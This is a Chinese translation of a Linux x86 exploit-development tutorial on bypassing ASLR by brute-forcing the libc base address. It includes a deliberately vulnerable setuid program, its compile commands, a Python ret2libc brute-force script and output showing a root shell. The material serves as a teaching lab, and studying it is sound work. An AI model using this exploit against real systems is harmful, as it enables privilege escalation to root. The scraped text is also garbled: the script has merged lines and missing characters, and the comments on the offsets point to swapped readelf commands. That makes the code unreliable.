Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

来源:互联网 发布:js控制树的展开和收起 编辑:程序博客网 时间:2024/05/21 07:47

绕过 ASLR – 第二部分

译者:飞龙

原文:Bypassing ASLR – Part II

本文承接 @hackyzh 翻译的第六篇。

预备条件:

经典的基于栈的溢出

VM 配置:Ubuntu 12.04 (x86)

这篇文章中,让我们看看如何使用爆破技巧,来绕过共享库地址随机化。

什么是爆破?

在这个技巧中,攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。假设你足够幸运,这个技巧是用于绕过 ASLR 的最简单的技巧。

漏洞代码:

//vuln.c#include <stdio.h>#include <string.h>int main(int argc, char* argv[]) { char buf[256]; strcpy(buf,argv[1]); printf("%s\n",buf); fflush(stdout); return 0;}

编译命令:

#echo 2 > /proc/sys/kernel/randomize_va_space$gcc -fno-stack-protector -g -o vuln vuln.c$sudo chown root vuln$sudo chgrp root vuln$sudo chmod +s vuln

让我们来看看,攻击者如何爆破 Libc 基址。下面是(当随机化打开时)不同的 Libc 基址:

$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)$

上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。在下面的利用代码中,让我们选择0xb7595000作为 Libc 基址,并让我们尝试几次。

利用代码:

#exp.py#!/usr/bin/env pythonimport structfrom subprocess import calllibc_base_addr = 0xb7595000exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.system_addr = libc_base_addr + system_offexit_addr = libc_base_addr + exit_offsystem_arg = 0x804827d#endianess convertiondef conv(num): return struct.pack("<I",numystem + exit + system_argbuf = "A" * 268buf += conv(system_addr)buf += conv(exit_addr)buf += conv(system_arg)print "Calling vulnerable program"#Multiple tries until we get luckyi = 0while (i < 256): print "Number of tries: %d" %i i += 1 ret = call(["./vuln", buf]) if (not ret):  break else:  print "Exploit failed"

运行上面的利用代码,我们会得到 root shell(在下面展示):

$ python exp.py Calling vulnerable programNumber of tries: 0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�Exploit failed...Number of tries: 42AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�Exploit failedNumber of tries: 43AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�# iduid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)# exit$

注意:也可以爆破类似的栈和堆段的地址。

0 0
原创粉丝点击